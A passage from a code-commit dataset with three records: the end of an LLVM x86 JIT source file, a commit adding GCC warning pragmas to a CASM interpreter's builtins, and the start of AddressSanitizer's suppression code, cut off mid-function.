%edx\\n\"\n \"popl %eax\\n\"\n \"popl %ebp\\n\"\n \"ret\\n\");\n#else\n void X86CompilationCallback2(void);\n\n _declspec(naked) void X86CompilationCallback(void) {\n __asm {\n push eax\n push edx\n call X86CompilationCallback2\n pop edx\n pop eax\n ret\n }\n }\n#endif \/\/ _MSC_VER\n\n#else \/\/ Not an i386 host\n void X86CompilationCallback() {\n std::cerr << \"Cannot call X86CompilationCallback() on a non-x86 arch!\\n\";\n abort();\n }\n#endif\n}\n\n\/\/\/ X86CompilationCallback - This is the target-specific function invoked by the\n\/\/\/ function stub when we did not know the real target of a call. This function\n\/\/\/ must locate the start of the stub or call site and pass it into the JIT\n\/\/\/ compiler function.\nextern \"C\" void X86CompilationCallback2() {\n#ifdef _MSC_VER\n assert(sizeof(size_t) == 4); \/\/ FIXME: handle Win64\n unsigned *RetAddrLoc = (unsigned *)_AddressOfReturnAddress();\n RetAddrLoc += 3; \/\/ skip over ret addr, edx, eax\n unsigned RetAddr = *RetAddrLoc;\n#else\n unsigned *StackPtr = (unsigned*)__builtin_frame_address(1);\n unsigned RetAddr = (unsigned)(intptr_t)__builtin_return_address(1);\n unsigned *RetAddrLoc = &StackPtr[1];\n\n \/\/ NOTE: __builtin_frame_address doesn't work if frame pointer elimination has\n \/\/ been performed. Having a variable sized alloca disables frame pointer\n \/\/ elimination currently, even if it's dead. This is a gross hack.\n alloca(10+(RetAddr >> 31));\n\n#endif\n assert(*RetAddrLoc == RetAddr &&\n \"Could not find return address on the stack!\");\n\n \/\/ It's a stub if there is an interrupt marker after the call.\n bool isStub = ((unsigned char*)(intptr_t)RetAddr)[0] == 0xCD;\n\n \/\/ The call instruction should have pushed the return value onto the stack...\n RetAddr -= 4; \/\/ Backtrack to the reference itself...\n\n#if 0\n DEBUG(std::cerr << \"In callback! Addr=\" << (void*)RetAddr\n << \" ESP=\" << (void*)StackPtr\n << \": Resolving call to function: \"\n << TheVM->getFunctionReferencedName((void*)RetAddr) << \"\\n\");\n#endif\n\n \/\/ Sanity check to make sure this really is a call instruction.\n assert(((unsigned char*)(intptr_t)RetAddr)[-1] == 0xE8 &&\"Not a call instr!\");\n\n unsigned NewVal = (intptr_t)JITCompilerFunction((void*)(intptr_t)RetAddr);\n\n \/\/ Rewrite the call target... so that we don't end up here every time we\n \/\/ execute the call.\n *(unsigned*)(intptr_t)RetAddr = NewVal-RetAddr-4;\n\n if (isStub) {\n \/\/ If this is a stub, rewrite the call into an unconditional branch\n \/\/ instruction so that two return addresses are not pushed onto the stack\n \/\/ when the requested function finally gets called. This also makes the\n \/\/ 0xCD byte (interrupt) dead, so the marker doesn't effect anything.\n ((unsigned char*)(intptr_t)RetAddr)[-1] = 0xE9;\n }\n\n \/\/ Change the return address to reexecute the call instruction...\n *RetAddrLoc -= 5;\n}\n\nTargetJITInfo::LazyResolverFn\nX86JITInfo::getLazyResolverFunction(JITCompilerFn F) {\n JITCompilerFunction = F;\n return X86CompilationCallback;\n}\n\nvoid *X86JITInfo::emitFunctionStub(void *Fn, MachineCodeEmitter &MCE) {\n \/\/ Note, we cast to intptr_t here to silence a -pedantic warning that \n \/\/ complains about casting a function pointer to a normal pointer.\n if (Fn != (void*)(intptr_t)X86CompilationCallback) {\n MCE.startFunctionStub(5);\n MCE.emitByte(0xE9);\n MCE.emitWordLE((intptr_t)Fn-MCE.getCurrentPCValue()-4);\n return MCE.finishFunctionStub(0);\n }\n\n MCE.startFunctionStub(6);\n MCE.emitByte(0xE8); \/\/ Call with 32 bit pc-rel destination...\n\n MCE.emitWordLE((intptr_t)Fn-MCE.getCurrentPCValue()-4);\n\n MCE.emitByte(0xCD); \/\/ Interrupt - Just a marker identifying the stub!\n return MCE.finishFunctionStub(0);\n}\n\n\/\/\/ relocate - Before the JIT can run a block of code that has been emitted,\n\/\/\/ it must rewrite the code to contain the actual addresses of any\n\/\/\/ referenced global symbols.\nvoid X86JITInfo::relocate(void *Function, MachineRelocation *MR,\n unsigned NumRelocs, unsigned char* GOTBase) {\n for (unsigned i = 0; i != NumRelocs; ++i, ++MR) {\n void *RelocPos = (char*)Function + MR->getMachineCodeOffset();\n intptr_t ResultPtr = (intptr_t)MR->getResultPointer();\n switch ((X86::RelocationType)MR->getRelocationType()) {\n case X86::reloc_pcrel_word:\n \/\/ PC relative relocation, add the relocated value to the value already in\n \/\/ memory, after we adjust it for where the PC is.\n ResultPtr = ResultPtr-(intptr_t)RelocPos-4;\n *((intptr_t*)RelocPos) += ResultPtr;\n break;\n case X86::reloc_absolute_word:\n \/\/ Absolute relocation, just add the relocated value to the value already\n \/\/ in memory.\n *((intptr_t*)RelocPos) += ResultPtr;\n break;\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cmath>\n#include <cassert>\n#include <sstream>\n\n#include \"libinterpreter\/builtins.h\"\n\nconst Value builtins::dispatch(BuiltinAtom::Id atom_id, ExecutionContext& ctxt,\n const std::vector<Value>& arguments) {\n switch (atom_id) {\n case BuiltinAtom::Id::POW:\n return std::move(pow(arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::HEX:\n return std::move(hex(arguments[0]));\n\n case BuiltinAtom::Id::NTH:\n return std::move(nth(arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::APP:\n return std::move(app(ctxt, arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::CONS:\n return std::move(cons(ctxt, arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::TAIL:\n return std::move(tail(ctxt, arguments[0]));\n\n case BuiltinAtom::Id::LEN:\n return std::move(len(arguments[0]));\n\n case BuiltinAtom::Id::PEEK:\n return std::move(peek(arguments[0]));\n\n case BuiltinAtom::Id::BOOLEAN2INT:\n return std::move(boolean2int(arguments[0]));\n\n case BuiltinAtom::Id::INT2BOOLEAN:\n return std::move(int2boolean(arguments[0]));\n\n case BuiltinAtom::Id::ENUM2INT:\n return std::move(enum2int(arguments[0]));\n\n case BuiltinAtom::Id::ASINT:\n return std::move(asint(arguments[0]));\n\n case BuiltinAtom::Id::ASFLOAT:\n return std::move(asfloat(arguments[0]));\n\n case BuiltinAtom::Id::ASRATIONAL:\n return std::move(asrational(arguments[0]));\n\n case BuiltinAtom::Id::SYMBOLIC:\n return std::move(symbolic(arguments[0]));\n\n default: return std::move(shared::dispatch(atom_id, arguments, ctxt));\n }\n}\n\n\nconst Value builtins::pow(const Value& base, const Value& power) {\n switch (base.type) {\n case TypeType::INT:\n return std::move(Value((INT_T)std::pow(base.value.ival, power.value.ival)));\n\n case TypeType::FLOAT:\n return std::move(Value((FLOAT_T)std::pow(base.value.fval, power.value.fval)));\n default: assert(0);\n }\n}\n\nconst Value builtins::hex(const Value& arg) {\n \/\/ TODO LEAK!\n if (arg.is_undef()) {\n return std::move(Value(new std::string(\"undef\")));\n }\n\n std::stringstream ss;\n if (arg.value.ival < 0) {\n ss << \"-\" << std::hex << (-1) * arg.value.ival;\n } else {\n ss << std::hex << arg.value.ival;\n }\n return std::move(Value(new std::string(ss.str())));\n}\n\nconst Value builtins::nth(const Value& list_arg, const Value& index ) {\n if (list_arg.is_undef() || index.is_undef()) {\n return Value();\n }\n\n List *list = list_arg.value.list;\n List::const_iterator iter = list->begin();\n INT_T i = 1;\n\n while (iter != list->end() && i < index.value.ival) {\n i++;\n iter++;\n }\n if (i == index.value.ival && iter != list->end()) {\n return std::move(Value(*iter));\n } else {\n return std::move(Value());\n }\n}\n\nconst Value builtins::app(ExecutionContext& ctxt, const Value& list, const Value& val) {\n \/\/ TODO LEAK\n if (list.is_undef()) {\n return std::move(Value());\n }\n\n List *current = list.value.list;\n\n while (1 == 1) {\n if (current->list_type == List::ListType::HEAD) {\n current = reinterpret_cast<HeadList*>(current)->right;\n }\n if (current->list_type == List::ListType::SKIP) {\n current = reinterpret_cast<SkipList*>(current)->bottom;\n }\n if (current->list_type == List::ListType::BOTTOM) {\n BottomList *bottom = reinterpret_cast<BottomList*>(current);\n if (bottom->tail) {\n current = bottom->tail;\n } else {\n break;\n }\n }\n if (current->list_type == List::ListType::TAIL) {\n TailList *tail = reinterpret_cast<TailList*>(current);\n if (tail->right) {\n current = tail->right;\n } else {\n break;\n }\n }\n }\n\n\n TailList *tail = new TailList(nullptr, val);\n ctxt.temp_lists.push_back(tail);\n\n if (current->list_type == List::ListType::TAIL) {\n reinterpret_cast<TailList*>(current)->right = tail;\n } else if (current->list_type == List::ListType::BOTTOM) {\n reinterpret_cast<BottomList*>(current)->tail = tail;\n } else {\n assert(0);\n }\n return std::move(Value(list.type, list.value.list));\n}\n\nconst Value builtins::cons(ExecutionContext& ctxt, const Value& val, const Value& list) {\n \/\/ TODO LEAK\n if (list.is_undef()) {\n return std::move(Value());\n }\n\n HeadList *consed_list = new HeadList(list.value.list, val);\n ctxt.temp_lists.push_back(consed_list);\n return Value(list.type, consed_list);\n}\n\nconst Value builtins::tail(ExecutionContext& ctxt, const Value& arg_list) {\n if (arg_list.is_undef()) {\n return std::move(Value());\n }\n\n List *list = arg_list.value.list;\n\n if (list->is_head()) {\n return std::move(Value(arg_list.type, reinterpret_cast<HeadList*>(list)->right));\n } else if (list->is_bottom()) {\n BottomList *btm = reinterpret_cast<BottomList*>(list);\n SkipList *skip = new SkipList(1, btm);\n ctxt.temp_lists.push_back(skip);\n return std::move(Value(arg_list.type, skip));\n } else {\n SkipList *old_skip = reinterpret_cast<SkipList*>(list);\n SkipList *skip = new SkipList(old_skip->skip+1, old_skip->bottom);\n ctxt.temp_lists.push_back(skip);\n return std::move(Value(arg_list.type, skip));\n }\n}\n\nconst Value builtins::len(const Value& list_arg) {\n \/\/ TODO len is really slow right now, it itertes over complete list\n if (list_arg.is_undef()) {\n return std::move(Value());\n }\n\n List *list = list_arg.value.list;\n List::const_iterator iter = list->begin();\n\n size_t count = 0;\n\n while (iter != list->end()) {\n count++;\n iter++;\n }\n return std::move(Value((INT_T) count));\n}\n\nconst Value builtins::peek(const Value& arg_list) {\n if (arg_list.is_undef()) {\n return std::move(Value());\n }\n\n List *list = arg_list.value.list;\n\n if (list->begin() != list->end()) {\n return std::move(Value(*(list->begin())));\n } else {\n return std::move(Value());\n }\n}\n\nconst Value builtins::boolean2int(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n return std::move(Value((INT_T)arg.value.bval));\n}\n\nconst Value builtins::int2boolean(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n return std::move(Value((bool)arg.value.ival));\n}\n\nconst Value builtins::enum2int(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n return std::move(Value((INT_T)arg.value.enum_val->id));\n}\n\nconst Value builtins::asint(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n switch (arg.type) {\n case TypeType::INT:\n return std::move(Value(arg.value.ival));\n case TypeType::FLOAT:\n return std::move(Value((INT_T)arg.value.fval));\n case TypeType::RATIONAL:\n return std::move(Value((INT_T)(arg.value.rat->numerator \/ arg.value.rat->denominator)));\n default: assert(0);\n }\n}\n\nconst Value builtins::asfloat(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n switch (arg.type) {\n case TypeType::INT:\n return std::move(Value((FLOAT_T) arg.value.ival));\n case TypeType::FLOAT:\n return std::move(Value(arg.value.fval));\n case TypeType::RATIONAL:\n return std::move(Value(((FLOAT_T)arg.value.rat->numerator) \/ arg.value.rat->denominator));\n default: assert(0);\n }\n}\n\n\nvoid get_numerator_denominator(double x, int64_t *num, int64_t *denom) {\n \/\/ thanks to\n \/\/ http:\/\/stackoverflow.com\/a\/96035\/781502\n uint64_t m[2][2];\n double startx = x;\n int64_t maxden = 10000000000;\n int64_t ai;\n\n \/* initialize matrix *\/\n m[0][0] = m[1][1] = 1;\n m[0][1] = m[1][0] = 0;\n\n \/* loop finding terms until denom gets too big *\/\n while (m[1][0] * ( ai = (int64_t)x ) + m[1][1] <= maxden) {\n long t;\n t = m[0][0] * ai + m[0][1];\n m[0][1] = m[0][0];\n m[0][0] = t;\n t = m[1][0] * ai + m[1][1];\n m[1][1] = m[1][0];\n m[1][0] = t;\n if(x==(double)ai) break; \/\/ AF: division by zero\n x = 1\/(x - (double) ai);\n if(x>(double)0x7FFFFFFF) break; \/\/ AF: representation failure\n }\n\n \/* now remaining x is between 0 and 1\/ai *\/\n \/* approx as either 0 or 1\/m where m is max that will fit in maxden *\/\n \/* first try zero *\/\n\n double error1 = startx - ((double) m[0][0] \/ (double) m[1][0]);\n\n *num = m[0][0];\n *denom = m[1][0];\n\n \/* now try other possibility *\/\n ai = (maxden - m[1][1]) \/ m[1][0];\n m[0][0] = m[0][0] * ai + m[0][1];\n m[1][0] = m[1][0] * ai + m[1][1];\n double error2 = startx - ((double) m[0][0] \/ (double) m[1][0]);\n\n if (abs(error1) > abs(error2)) {\n *num = m[0][0];\n *denom = m[1][0];\n }\n}\n\nconst Value builtins::asrational(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n rational_t *result = (rational_t*) pp_mem_alloc(\n &(ExecutionContext::value_stack), sizeof(rational_t)\n );\n switch (arg.type) {\n case TypeType::INT:\n result->numerator = arg.value.ival;\n result->denominator = 1;\n return std::move(Value(result));\n case TypeType::FLOAT:\n get_numerator_denominator(arg.value.fval, &result->numerator, &result->denominator);\n return std::move(Value(result));\n case TypeType::RATIONAL:\n return std::move(Value(arg.value.rat));\n default: assert(0);\n }\n}\n\nconst Value builtins::symbolic(const Value& arg) {\n if (arg.is_symbolic() && !arg.value.sym->list) {\n return std::move(Value(true));\n } else {\n return std::move(Value(false));\n }\n}\n\n\nnamespace builtins {\nnamespace shared {\n #include \"shared_glue.h\"\n\n IGNORE_VARIADIC_WARNINGS\n\n \/\/ the CASM runtime heavily depens on macros, whatever you think of it ... \n \/\/ here we need to provide all definitions ...\n #define TRUE 1\n #define FALSE 0\n #define ARG(TYPE, NAME) TYPE* NAME\n #define SARG(VAR) #VAR \" {0x%lx,%u}\"\n #define PARG(TYPE, VAR) (uint64_t)VAR->value, VAR->defined\n #define CASM_RT(FORMAT, ARGS...) \/* printf-able *\/\n #define CASM_INFO(FORMAT, ARGS...) \/* printf-able *\/\n\n\n \/\/ create concrete variants of the shareds\n #define CASM_CALL_SHARED(NAME, VALUE, ARGS...) NAME(VALUE, ##ARGS)\n #define DEFINE_CASM_SHARED(NAME, VALUE, ARGS...) void NAME(VALUE, ##ARGS)\n #include \"libcasmrt\/pp_casm_shared.h\"\n\n\n namespace symbolic {\n \/\/ create symbolic variants of shareds\n namespace BV {\n \/\/ mock BV namespace as expected by the pp_casm_shared builtins\n struct helper_t {\n bool next() { return true; }\n };\n static helper_t symbolic_nopointer;\n helper_t *symbolic_ = &symbolic_nopointer;\n }\n\n #undef CASM_CALL_SHARED\n #undef DEFINE_CASM_SHARED\n #define SYMBOLIC\n #define CASM_CALL_SHARED(NAME, VALUE, ARGS...) symbolic_##NAME(VALUE, ##ARGS)\n #define DEFINE_CASM_SHARED(NAME, VALUE, ARGS...) void symbolic_##NAME(VALUE, ##ARGS)\n #include \"libcasmrt\/pp_casm_shared.h\"\n }\n\n REENABLE_VARIADIC_WARNINGS\n\n const Value dispatch(BuiltinAtom::Id builtin_id, \n const std::vector<Value>& arguments, ExecutionContext& ctxt) {\n const char *sym_name;\n Int ret;\n Int arg0;\n Int arg1;\n Int arg2;\n Int arg3;\n Int arg4;\n switch (builtin_id) {\n SHARED_DISPATCH\n default: assert(0);\n }\n\n if (ret.defined == TRUE) {\n return std::move(Value((INT_T)ret.value));\n } else if (ctxt.symbolic && ret.sym) {\n Value v(new symbol_t(::symbolic::next_symbol_id()));\n ::symbolic::dump_builtin(ctxt.trace, sym_name, arguments, v);\n return std::move(v);\n } else {\n return std::move(Value());\n }\n }\n}\n}\n<commit_msg>Disable unused-warnings for shared-builtins<commit_after>#include <cmath>\n#include <cassert>\n#include <sstream>\n\n#include \"libinterpreter\/builtins.h\"\n\nconst Value builtins::dispatch(BuiltinAtom::Id atom_id, ExecutionContext& ctxt,\n const std::vector<Value>& arguments) {\n switch (atom_id) {\n case BuiltinAtom::Id::POW:\n return std::move(pow(arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::HEX:\n return std::move(hex(arguments[0]));\n\n case BuiltinAtom::Id::NTH:\n return std::move(nth(arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::APP:\n return std::move(app(ctxt, arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::CONS:\n return std::move(cons(ctxt, arguments[0], arguments[1]));\n\n case BuiltinAtom::Id::TAIL:\n return std::move(tail(ctxt, arguments[0]));\n\n case BuiltinAtom::Id::LEN:\n return std::move(len(arguments[0]));\n\n case BuiltinAtom::Id::PEEK:\n return std::move(peek(arguments[0]));\n\n case BuiltinAtom::Id::BOOLEAN2INT:\n return std::move(boolean2int(arguments[0]));\n\n case BuiltinAtom::Id::INT2BOOLEAN:\n return std::move(int2boolean(arguments[0]));\n\n case BuiltinAtom::Id::ENUM2INT:\n return std::move(enum2int(arguments[0]));\n\n case BuiltinAtom::Id::ASINT:\n return std::move(asint(arguments[0]));\n\n case BuiltinAtom::Id::ASFLOAT:\n return std::move(asfloat(arguments[0]));\n\n case BuiltinAtom::Id::ASRATIONAL:\n return std::move(asrational(arguments[0]));\n\n case BuiltinAtom::Id::SYMBOLIC:\n return std::move(symbolic(arguments[0]));\n\n default: return std::move(shared::dispatch(atom_id, arguments, ctxt));\n }\n}\n\n\nconst Value builtins::pow(const Value& base, const Value& power) {\n switch (base.type) {\n case TypeType::INT:\n return std::move(Value((INT_T)std::pow(base.value.ival, power.value.ival)));\n\n case TypeType::FLOAT:\n return std::move(Value((FLOAT_T)std::pow(base.value.fval, power.value.fval)));\n default: assert(0);\n }\n}\n\nconst Value builtins::hex(const Value& arg) {\n \/\/ TODO LEAK!\n if (arg.is_undef()) {\n return std::move(Value(new std::string(\"undef\")));\n }\n\n std::stringstream ss;\n if (arg.value.ival < 0) {\n ss << \"-\" << std::hex << (-1) * arg.value.ival;\n } else {\n ss << std::hex << arg.value.ival;\n }\n return std::move(Value(new std::string(ss.str())));\n}\n\nconst Value builtins::nth(const Value& list_arg, const Value& index ) {\n if (list_arg.is_undef() || index.is_undef()) {\n return Value();\n }\n\n List *list = list_arg.value.list;\n List::const_iterator iter = list->begin();\n INT_T i = 1;\n\n while (iter != list->end() && i < index.value.ival) {\n i++;\n iter++;\n }\n if (i == index.value.ival && iter != list->end()) {\n return std::move(Value(*iter));\n } else {\n return std::move(Value());\n }\n}\n\nconst Value builtins::app(ExecutionContext& ctxt, const Value& list, const Value& val) {\n \/\/ TODO LEAK\n if (list.is_undef()) {\n return std::move(Value());\n }\n\n List *current = list.value.list;\n\n while (1 == 1) {\n if (current->list_type == List::ListType::HEAD) {\n current = reinterpret_cast<HeadList*>(current)->right;\n }\n if (current->list_type == List::ListType::SKIP) {\n current = reinterpret_cast<SkipList*>(current)->bottom;\n }\n if (current->list_type == List::ListType::BOTTOM) {\n BottomList *bottom = reinterpret_cast<BottomList*>(current);\n if (bottom->tail) {\n current = bottom->tail;\n } else {\n break;\n }\n }\n if (current->list_type == List::ListType::TAIL) {\n TailList *tail = reinterpret_cast<TailList*>(current);\n if (tail->right) {\n current = tail->right;\n } else {\n break;\n }\n }\n }\n\n\n TailList *tail = new TailList(nullptr, val);\n ctxt.temp_lists.push_back(tail);\n\n if (current->list_type == List::ListType::TAIL) {\n reinterpret_cast<TailList*>(current)->right = tail;\n } else if (current->list_type == List::ListType::BOTTOM) {\n reinterpret_cast<BottomList*>(current)->tail = tail;\n } else {\n assert(0);\n }\n return std::move(Value(list.type, list.value.list));\n}\n\nconst Value builtins::cons(ExecutionContext& ctxt, const Value& val, const Value& list) {\n \/\/ TODO LEAK\n if (list.is_undef()) {\n return std::move(Value());\n }\n\n HeadList *consed_list = new HeadList(list.value.list, val);\n ctxt.temp_lists.push_back(consed_list);\n return Value(list.type, consed_list);\n}\n\nconst Value builtins::tail(ExecutionContext& ctxt, const Value& arg_list) {\n if (arg_list.is_undef()) {\n return std::move(Value());\n }\n\n List *list = arg_list.value.list;\n\n if (list->is_head()) {\n return std::move(Value(arg_list.type, reinterpret_cast<HeadList*>(list)->right));\n } else if (list->is_bottom()) {\n BottomList *btm = reinterpret_cast<BottomList*>(list);\n SkipList *skip = new SkipList(1, btm);\n ctxt.temp_lists.push_back(skip);\n return std::move(Value(arg_list.type, skip));\n } else {\n SkipList *old_skip = reinterpret_cast<SkipList*>(list);\n SkipList *skip = new SkipList(old_skip->skip+1, old_skip->bottom);\n ctxt.temp_lists.push_back(skip);\n return std::move(Value(arg_list.type, skip));\n }\n}\n\nconst Value builtins::len(const Value& list_arg) {\n \/\/ TODO len is really slow right now, it itertes over complete list\n if (list_arg.is_undef()) {\n return std::move(Value());\n }\n\n List *list = list_arg.value.list;\n List::const_iterator iter = list->begin();\n\n size_t count = 0;\n\n while (iter != list->end()) {\n count++;\n iter++;\n }\n return std::move(Value((INT_T) count));\n}\n\nconst Value builtins::peek(const Value& arg_list) {\n if (arg_list.is_undef()) {\n return std::move(Value());\n }\n\n List *list = arg_list.value.list;\n\n if (list->begin() != list->end()) {\n return std::move(Value(*(list->begin())));\n } else {\n return std::move(Value());\n }\n}\n\nconst Value builtins::boolean2int(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n return std::move(Value((INT_T)arg.value.bval));\n}\n\nconst Value builtins::int2boolean(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n return std::move(Value((bool)arg.value.ival));\n}\n\nconst Value builtins::enum2int(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n return std::move(Value((INT_T)arg.value.enum_val->id));\n}\n\nconst Value builtins::asint(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n switch (arg.type) {\n case TypeType::INT:\n return std::move(Value(arg.value.ival));\n case TypeType::FLOAT:\n return std::move(Value((INT_T)arg.value.fval));\n case TypeType::RATIONAL:\n return std::move(Value((INT_T)(arg.value.rat->numerator \/ arg.value.rat->denominator)));\n default: assert(0);\n }\n}\n\nconst Value builtins::asfloat(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n switch (arg.type) {\n case TypeType::INT:\n return std::move(Value((FLOAT_T) arg.value.ival));\n case TypeType::FLOAT:\n return std::move(Value(arg.value.fval));\n case TypeType::RATIONAL:\n return std::move(Value(((FLOAT_T)arg.value.rat->numerator) \/ arg.value.rat->denominator));\n default: assert(0);\n }\n}\n\n\nvoid get_numerator_denominator(double x, int64_t *num, int64_t *denom) {\n \/\/ thanks to\n \/\/ http:\/\/stackoverflow.com\/a\/96035\/781502\n uint64_t m[2][2];\n double startx = x;\n int64_t maxden = 10000000000;\n int64_t ai;\n\n \/* initialize matrix *\/\n m[0][0] = m[1][1] = 1;\n m[0][1] = m[1][0] = 0;\n\n \/* loop finding terms until denom gets too big *\/\n while (m[1][0] * ( ai = (int64_t)x ) + m[1][1] <= maxden) {\n long t;\n t = m[0][0] * ai + m[0][1];\n m[0][1] = m[0][0];\n m[0][0] = t;\n t = m[1][0] * ai + m[1][1];\n m[1][1] = m[1][0];\n m[1][0] = t;\n if(x==(double)ai) break; \/\/ AF: division by zero\n x = 1\/(x - (double) ai);\n if(x>(double)0x7FFFFFFF) break; \/\/ AF: representation failure\n }\n\n \/* now remaining x is between 0 and 1\/ai *\/\n \/* approx as either 0 or 1\/m where m is max that will fit in maxden *\/\n \/* first try zero *\/\n\n double error1 = startx - ((double) m[0][0] \/ (double) m[1][0]);\n\n *num = m[0][0];\n *denom = m[1][0];\n\n \/* now try other possibility *\/\n ai = (maxden - m[1][1]) \/ m[1][0];\n m[0][0] = m[0][0] * ai + m[0][1];\n m[1][0] = m[1][0] * ai + m[1][1];\n double error2 = startx - ((double) m[0][0] \/ (double) m[1][0]);\n\n if (abs(error1) > abs(error2)) {\n *num = m[0][0];\n *denom = m[1][0];\n }\n}\n\nconst Value builtins::asrational(const Value& arg) {\n if (arg.is_undef()) {\n return std::move(arg);\n }\n\n rational_t *result = (rational_t*) pp_mem_alloc(\n &(ExecutionContext::value_stack), sizeof(rational_t)\n );\n switch (arg.type) {\n case TypeType::INT:\n result->numerator = arg.value.ival;\n result->denominator = 1;\n return std::move(Value(result));\n case TypeType::FLOAT:\n get_numerator_denominator(arg.value.fval, &result->numerator, &result->denominator);\n return std::move(Value(result));\n case TypeType::RATIONAL:\n return std::move(Value(arg.value.rat));\n default: assert(0);\n }\n}\n\nconst Value builtins::symbolic(const Value& arg) {\n if (arg.is_symbolic() && !arg.value.sym->list) {\n return std::move(Value(true));\n } else {\n return std::move(Value(false));\n }\n}\n\n\nnamespace builtins {\nnamespace shared {\n #include \"shared_glue.h\"\n\n IGNORE_VARIADIC_WARNINGS\n #pragma GCC diagnostic ignored \"-Wmissing-field-initializers\"\n #pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n \/\/ the CASM runtime heavily depens on macros, whatever you think of it ... \n \/\/ here we need to provide all definitions ...\n #define TRUE 1\n #define FALSE 0\n #define ARG(TYPE, NAME) TYPE* NAME\n #define SARG(VAR) #VAR \" {0x%lx,%u}\"\n #define PARG(TYPE, VAR) (uint64_t)VAR->value, VAR->defined\n #define CASM_RT(FORMAT, ARGS...) \/* printf-able *\/\n #define CASM_INFO(FORMAT, ARGS...) \/* printf-able *\/\n\n\n \/\/ create concrete variants of the shareds\n #define CASM_CALL_SHARED(NAME, VALUE, ARGS...) NAME(VALUE, ##ARGS)\n #define DEFINE_CASM_SHARED(NAME, VALUE, ARGS...) void NAME(VALUE, ##ARGS)\n #include \"libcasmrt\/pp_casm_shared.h\"\n\n\n namespace symbolic {\n \/\/ create symbolic variants of shareds\n namespace BV {\n \/\/ mock BV namespace as expected by the pp_casm_shared builtins\n struct helper_t {\n bool next() { return true; }\n };\n static helper_t symbolic_nopointer;\n helper_t *symbolic_ = &symbolic_nopointer;\n }\n\n #undef CASM_CALL_SHARED\n #undef DEFINE_CASM_SHARED\n #define SYMBOLIC\n #define CASM_CALL_SHARED(NAME, VALUE, ARGS...) symbolic_##NAME(VALUE, ##ARGS)\n #define DEFINE_CASM_SHARED(NAME, VALUE, ARGS...) void symbolic_##NAME(VALUE, ##ARGS)\n #include \"libcasmrt\/pp_casm_shared.h\"\n }\n\n #pragma GCC diagnostic warning \"-Wmissing-field-initializers\"\n #pragma GCC diagnostic warning \"-Wunused-parameter\"\n REENABLE_VARIADIC_WARNINGS\n\n const Value dispatch(BuiltinAtom::Id builtin_id, \n const std::vector<Value>& arguments, ExecutionContext& ctxt) {\n const char *sym_name;\n Int ret;\n Int arg0;\n Int arg1;\n Int arg2;\n Int arg3;\n Int arg4;\n switch (builtin_id) {\n SHARED_DISPATCH\n default: assert(0);\n }\n\n if (ret.defined == TRUE) {\n return std::move(Value((INT_T)ret.value));\n } else if (ctxt.symbolic && ret.sym) {\n Value v(new symbol_t(::symbolic::next_symbol_id()));\n ::symbolic::dump_builtin(ctxt.trace, sym_name, arguments, v);\n return std::move(v);\n } else {\n return std::move(Value());\n }\n }\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- asan_suppressions.cc ----------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Issue suppression and suppression-related functions.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"asan_suppressions.h\"\n\n#include \"asan_stack.h\"\n#include \"sanitizer_common\/sanitizer_placement_new.h\"\n#include \"sanitizer_common\/sanitizer_suppressions.h\"\n#include \"sanitizer_common\/sanitizer_symbolizer.h\"\n\nnamespace __asan {\n\nALIGNED(64) static char suppression_placeholder[sizeof(SuppressionContext)];\nstatic SuppressionContext *suppression_ctx = nullptr;\nstatic const char kInterceptorName[] = \"interceptor_name\";\nstatic const char kInterceptorViaFunction[] = \"interceptor_via_fun\";\nstatic const char kInterceptorViaLibrary[] = \"interceptor_via_lib\";\nstatic const char kODRViolation[] = \"odr_violation\";\nstatic const char *kSuppressionTypes[] = {\n kInterceptorName, kInterceptorViaFunction, kInterceptorViaLibrary,\n kODRViolation};\n\nextern \"C\" {\n#if SANITIZER_SUPPORTS_WEAK_HOOKS\nSANITIZER_INTERFACE_ATTRIBUTE SANITIZER_WEAK_ATTRIBUTE\nconst char *__asan_default_suppressions();\n#else\n\/\/ No week hooks, provide empty implementation.\nconst char *__asan_default_suppressions() { return \"\"; }\n#endif \/\/ SANITIZER_SUPPORTS_WEAK_HOOKS\n} \/\/ extern \"C\"\n\nvoid InitializeSuppressions() {\n CHECK_EQ(nullptr, suppression_ctx);\n suppression_ctx = new (suppression_placeholder) \/\/ NOLINT\n SuppressionContext(kSuppressionTypes, ARRAY_SIZE(kSuppressionTypes));\n suppression_ctx->ParseFromFile(flags()->suppressions);\n if (&__asan_default_suppressions)\n suppression_ctx->Parse(__asan_default_suppressions());\n}\n\nbool IsInterceptorSuppressed(const char *interceptor_name) {\n CHECK(suppression_ctx);\n Suppression *s;\n \/\/ Match \"interceptor_name\" suppressions.\n return suppression_ctx->Match(interceptor_name, kInterceptorName, &s);\n}\n\nbool HaveStackTraceBasedSuppressions() {\n CHECK(suppression_ctx);\n return suppression_ctx->HasSuppressionType(kInterceptorViaFunction) ||\n suppression_ctx->HasSuppressionType(kInterceptorViaLibrary);\n}\n\nbool IsODRViolationSuppressed(const char *global_var_name) {\n 